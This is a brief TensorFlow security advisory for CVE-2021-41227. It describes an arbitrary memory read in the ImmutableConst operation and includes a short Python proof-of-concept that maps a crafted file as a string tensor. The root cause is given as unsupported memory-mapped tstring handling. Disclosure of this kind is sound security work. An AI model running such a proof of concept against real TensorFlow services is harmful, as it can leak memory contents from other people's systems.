CVE-2021-41227: Arbitrary memory read in `ImmutableConst`

The ImmutableConst operation in TensorFlow can be tricked into reading arbitrary memory contents:

import tensorflow as tf

with open('/tmp/test','wb') as f:
f.write(b'\xe2'*128)
data = tf.raw_ops.ImmutableConst(dtype=tf.string,shape=3,memory_region_name='/tmp/test')

print(data)

This is because the tstring TensorFlow string class has a special case for memory mapped strings but the operation itself does not offer any support for this datatype.